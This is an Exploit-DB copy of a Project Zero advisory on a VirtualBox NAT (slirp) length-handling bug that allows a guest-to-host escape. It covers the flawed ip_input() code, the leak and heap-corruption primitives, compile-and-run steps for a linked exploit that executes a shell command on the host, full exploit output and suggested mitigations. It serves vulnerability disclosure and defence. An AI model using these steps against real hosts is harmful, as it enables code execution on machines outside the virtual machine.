Oracle VM VirtualBox - Guest-to-Host Privilege Escalation via Broken Length Handling in slirp Copy

EDB-ID:

41904




Platform:

Multiple

Date:

2017-04-20


Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1086

There is a vulnerability in VirtualBox that permits an attacker with
root privileges in a virtual machine with a NAT network interface to
corrupt the memory of the userspace host process and leak memory
contents from the userspace host process. This probably permits an
attacker with root privileges inside the guest to execute arbitrary
code in userspace context on the host.

The issue is in the copy of slirp that is shipped in VirtualBox, in
the function ip_input() in src/VBox/Devices/Network/slirp/ip_input.c:

void
ip_input(PNATState pData, struct mbuf *m)
{
    register struct ip *ip;
    [...]
    ip = mtod(m, struct ip *);
    [...]
    {
        [...]
        /*
         * XXX: TODO: this is most likely a leftover spooky action at
         * a distance from alias_dns.c host resolver code and can be
         * g/c'ed.
         */
        if (m->m_len != RT_N2H_U16(ip->ip_len))
            m->m_len = RT_N2H_U16(ip->ip_len);
    }
    [...]
}

This code does not seem to be present in the upstream version of
slirp.

The assignment `m->m_len = RT_N2H_U16(ip->ip_len)` overwrites the
trusted length field `m_len` of the buffer `m` with the untrusted
length field in the IP header of the received packet. At this point,
the IP header has not been validated at all. All following code that
processes packets relies on the correctness of `m->m_len`, so by
sending an IP header with a bogus length field, an attacker can cause
all following code to operate on out-of-bounds data.

In particular, an attacker can use this bug to obtain the following
attack primitives:

 - The attacker can leak out-of-bounds heap data by sending a UDP
   packet to a host on the internet with checksum 0 and a bogus length
   field in the IP header.
   The host process will send a (possibly fragmented) UDP packet to
   the specified host on the internet that includes out-of-bounds heap
   data.
   This method requires a cooperating host on the internet that the VM
   can talk to using the NAT network interface.
 - The attacker can leak out-of-bounds heap data by sending an ICMP
   Echo Request with a bogus length field in the IP header
   to the CTL_DNS address. The VM host then responds with an ICMP Echo
   Reply that includes out-of-bounds heap data.
   This approach has the advantage of not requiring a cooperating,
   reachable server on the internet, but has the disadvantage that
   the attacker needs to guess the 16-bit ICMP checksum.
 - The attacker can corrupt the heap by sending a UDP packet with a
   bogus length whose IP header contains IP options. The host process
   will then attempt to strip the IP headers via ip_input -> udp_input
   -> ip_stripoptions -> memcpy, which moves the IP payload - including
   out-of-bounds heap data - to a lower address. This can
   in particular be abused to overwrite a slirp heap chunk header
   (struct item) with attacker-controlled packet data.

I have attached a crash PoC. Copy it into a VM whose only network
interface is a NAT interface, compile it with
"gcc -o crasher crasher.c" and run it with "sudo ./crasher". The VM
should die after a few seconds, with something like this appearing in
dmesg on the host:

[107463.674598] traps: EMT-0[66638] general protection ip:7fc6a26076e8 sp:7fc6d2e27ad0 error:0 in VBoxDD.so[7fc6a24e2000+36d000]

I have tested my crasher in VirtualBox version "5.1.14 r112924".

The bug was introduced in SVN revision
<https://www.virtualbox.org/changeset/23155/vbox>.

################################################################################

Without modifications,
the exploit should work under the following conditions:

 - host runs Ubuntu 14.04 (trusty), 64-bit
 - host uses libc6 package version 2.19-0ubuntu6.9 (most recent
   version)
 - VirtualBox version is 5.1.14~112924~Ubuntu~trusty (official build)
   (most recent version)
 - guest runs Linux
 - main network interface of the VM is a NAT interface (default
   config)

The exploit is able to run an arbitrary shell command on the host
system. The command is hardcoded to "id > /tmp/owned_from_guest".


Some things about the exploit that might be of interest to you:

The exploit operates on memory that belongs to the zone zone_clust of
the UMA heap.
The UMA heap is relatively easy to attack, partly because the sanity
checks are compiled out in userland code in release builds. For
example, the check
`Assert((zone->magic == ZONE_MAGIC && zone == it->zone))` in
uma_zfree_arg() becomes a no-op, and the LIST_CHECKs in LIST_REMOVE()
have no effect. In particular, because the `zone == it->zone`
assertion is not compiled into release builds, an attacker who can
overwrite an item header and point its member ->zone to a controlled
memory area can cause an arbitrary function it->zone->pfFini to be
called when the item whose header was overwritten is freed.
It might make sense to turn assertions in the allocator into something
that is also active in release builds.

For exploiting the bug, it was very helpful that the VirtualBox binary
is built as non-relocatable, meaning that the binary is always loaded
at the same virtual address. The exploit uses a hardcoded address to
leak the contents of the GOT (global offset table), which can then be
used to locate the addresses of libc functions.
It's probably a good idea to build the VirtualBox binaries as
relocatable code to prevent attacks from simply using
hardcoded addresses - and this mitigation is pretty simple to
implement, you just have to add some compiler flags (`-pie -fPIE`
or so). To verify that it's working, run VirtualBox, then as root,
grep the contents of /proc/{pid of VirtualBox}/maps for VirtualBox and
verify that the mappings don't have low ranges like 00400000-00408000,
but use high addresses like 7ffb0f62e000 instead.

As far as I can tell from the source, on a Linux or Mac host, an
attacker who has compromised the VM host process can also run
arbitrary code in the host kernel using the ioctls SUP_IOCTL_LDR_OPEN
and SUP_IOCTL_LDR_LOAD. If that is indeed the case, it might make
sense to reduce the privileges of the userland host code by
sandboxing components like the shared folder host and the NAT
implementation and/or by rearchitecting VirtualBox so that the host
kernel doesn't trust the host userland binary.


To reproduce the bug with the attached exploit:

 - On the host or some other box on the internet, compile and run the
   helper:

       $ gcc -o helper helper.c -Wall
       $ ./helper 

 - In the guest, compile the exploit:

       # gcc -o bcs bcs.c -Wall -std=gnu99

   (This may throw some harmless format string warnings depending on
   whether the guest is 64-bit.)

 - To improve reliability, ensure that the guest isn't
   running any network services or clients, save the guest VM and
   restore it. (Saving and restoring the guest resets the Slirp heap.)

 - In the guest, as root, run the exploit. Pass the helper host's IP
   address as argument.

       # ./bcs xxx.xxx.xxx.xxx

 - If the exploit was successful, there should be a new file
   "/tmp/owned_from_guest" on the host that contains the output of the
   "id" command.

A successful run of the exploit should look like this:

==================================================================
# ./bcs {censored}
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* dev \([^ ]*\) .*|\1|' | tr -d '\n'>>>
enp0s3
================================
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* src \([^ ]*\) .*|\1|' | tr -d '\n'>>>
10.0.2.15
================================
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* via \([^ ]*\) .*|\1|' | tr -d '\n'>>>
10.0.2.2
================================
systemf: <<<ping -c3 -w4 10.0.2.2>>>
PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data.
64 bytes from 10.0.2.2: icmp_seq=2 ttl=64 time=0.375 ms
64 bytes from 10.0.2.2: icmp_seq=3 ttl=64 time=0.277 ms
64 bytes from 10.0.2.2: icmp_seq=4 ttl=64 time=0.297 ms

--- 10.0.2.2 ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 3054ms
rtt min/avg/max/mdev = 0.277/0.316/0.375/0.044 ms

================================
systemf: <<<arp -s 10.0.2.2 01:23:45:67:89:ab>>>
systemf: <<<iptables -I OUTPUT -o enp0s3 -j DROP>>>
defragging...
defragged
trying to leak...

got UDP, len=68
leak_udp successful
got data
00000000  01 00 ad de 00 00 00 00  00 e6 b4 48 56 7f 00 00  |...........HV...|
00000010  01 00 00 00 00 00 00 00  58 3e 26 35 56 7f 00 00  |........X>&5V...|
00000020  18 2e 26 35 56 7f 00 00                           |..&5V...|
00000028
magic: 0xdead0001
zone: 0x7f5648b4e600
refcount: 0x1
next: 0x7f5635263e58
prev: 0x7f5635262e00
defragging...
defragged
placed shell command at 0x7f5635263676
freelist head at 0x7f5648b4e690
trying to leak...

got UDP, len=68
leak_udp successful
got data
00000000  01 00 ad de 00 00 00 00  00 e6 b4 48 56 7f 00 00  |...........HV...|
00000010  01 00 00 00 00 00 00 00  a0 ec 25 35 56 7f 00 00  |..........%5V...|
00000020  60 dc 25 35 56 7f 00 00                           |`.%5V...|
00000028
magic: 0xdead0001
zone: 0x7f5648b4e600
refcount: 0x1
next: 0x7f563525eca0
prev: 0x7f563525dc48
defragging...
defragged
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525fd42, fake_zone at 0x7f563525fd4a
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525f516, fake_zone at 0x7f563525f51e
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525ecea, fake_zone at 0x7f563525ecf2
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525e4be, fake_zone at 0x7f563525e4c6
send_udp_datashift(shift_amount=40, data_length=9368)
send_udp_datashift(shift_amount=36, data_length=9368)
sending packet2, ip_off=0x28, ip_id=0x1a
trying to leak GOT from fake chunk...

got UDP, len=540
leak_udp successful
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000200
defragging...
defragged

got UDP, len=540
leak_udp successful
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  b0 09 c0 97 56 7f 00 00  b6 0f 40 00 00 00 00 00  |....V.....@.....|
00000020  10 9d c3 97 56 7f 00 00  a0 a0 c3 97 56 7f 00 00  |....V.......V...|
00000030  e6 0f 40 00 00 00 00 00  90 28 c7 97 56 7f 00 00  |..@......(..V...|
00000040  20 9d c3 97 56 7f 00 00  e0 03 15 98 56 7f 00 00  | ...V.......V...|
00000050  26 10 40 00 00 00 00 00  36 10 40 00 00 00 00 00  |&.@.....6.@.....|
00000060  50 9e b9 97 56 7f 00 00  56 10 40 00 00 00 00 00  |P...V...V.@.....|
00000070  80 30 c6 97 56 7f 00 00  10 fc c0 97 56 7f 00 00  |.0..V.......V...|
00000080  86 10 40 00 00 00 00 00  96 10 40 00 00 00 00 00  |..@.......@.....|
00000090  c0 fe c0 97 56 7f 00 00  80 2c c7 97 56 7f 00 00  |....V....,..V...|
000000a0  d0 9f c3 97 56 7f 00 00  30 9d c3 97 56 7f 00 00  |....V...0...V...|
000000b0  60 28 c7 97 56 7f 00 00  90 e0 f3 97 56 7f 00 00  |`(..V.......V...|
000000c0  70 c8 c6 97 56 7f 00 00  16 11 40 00 00 00 00 00  |p...V.....@.....|
000000d0  30 0c c8 97 56 7f 00 00  a0 c8 c6 97 56 7f 00 00  |0...V.......V...|
000000e0  60 c9 c6 97 56 7f 00 00  d0 0b 15 98 56 7f 00 00  |`...V.......V...|
000000f0  66 11 40 00 00 00 00 00  76 11 40 00 00 00 00 00  |f.@.....v.@.....|
00000100  86 11 40 00 00 00 00 00  96 11 40 00 00 00 00 00  |..@.......@.....|
00000110  50 e1 f3 97 56 7f 00 00  b6 11 40 00 00 00 00 00  |P...V.....@.....|
00000120  c6 11 40 00 00 00 00 00  00 00 00 00 00 00 00 00  |..@.............|
00000130  00 00 00 00 00 00 00 00  ff ff ff ff 00 00 00 00  |................|
00000140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000160  00 00 00 00 00 00 00 00  0c 00 00 00 00 00 00 00  |................|
00000170  00 00 00 00 22 05 08 20  00 20 00 00 88 13 00 00  |....".. . ......|
00000180  81 cb 05 00 02 00 00 00  b9 4b 40 00 00 00 00 00  |.........K@.....|
00000190  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001a0  00 00 00 00 00 00 00 00  2f 75 73 72 2f 6c 69 62  |......../usr/lib|
000001b0  2f 76 69 72 74 75 61 6c  62 6f 78 00 56 69 72 74  |/virtualbox.Virt|
000001c0  75 61 6c 42 6f 78 00 00  00 00 00 00 00 00 00 00  |ualBox..........|
000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000200
strlen at 0x7f5697c009b0
system() at 0x7f5697bbe590
calling system()...
defragging...
defragged
trying to leak...

got UDP, len=68
leak_udp successful
got data
00000000  01 00 ad de 00 00 00 00  00 e6 b4 48 56 7f 00 00  |...........HV...|
00000010  01 00 00 00 00 00 00 00  84 cd 0f 35 56 7f 00 00  |...........5V...|
00000020  44 bd 0f 35 56 7f 00 00                           |D..5V...|
00000028
magic: 0xdead0001
zone: 0x7f5648b4e600
refcount: 0x1
next: 0x7f56350fcd84
prev: 0x7f56350fbd2c
defragging...
defragged
fake zone packet item at 0x7f56350fc558, dummy_next at 0x7f56350fc5a2, fake_zone at 0x7f56350fc5aa
send_udp_datashift(shift_amount=40, data_length=3092)
send_udp_datashift(shift_amount=36, data_length=3092)
sending packet2, ip_off=0xa, ip_id=0x27
did that work?
systemf: <<<iptables -D OUTPUT -o enp0s3 -j DROP>>>
==================================================================

If the exploit crashes, you'll have to remove the firewall rule the
exploit added with `iptables -D OUTPUT -o {interface} -j DROP` inside
the VM to restore network connectivity.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41904.zip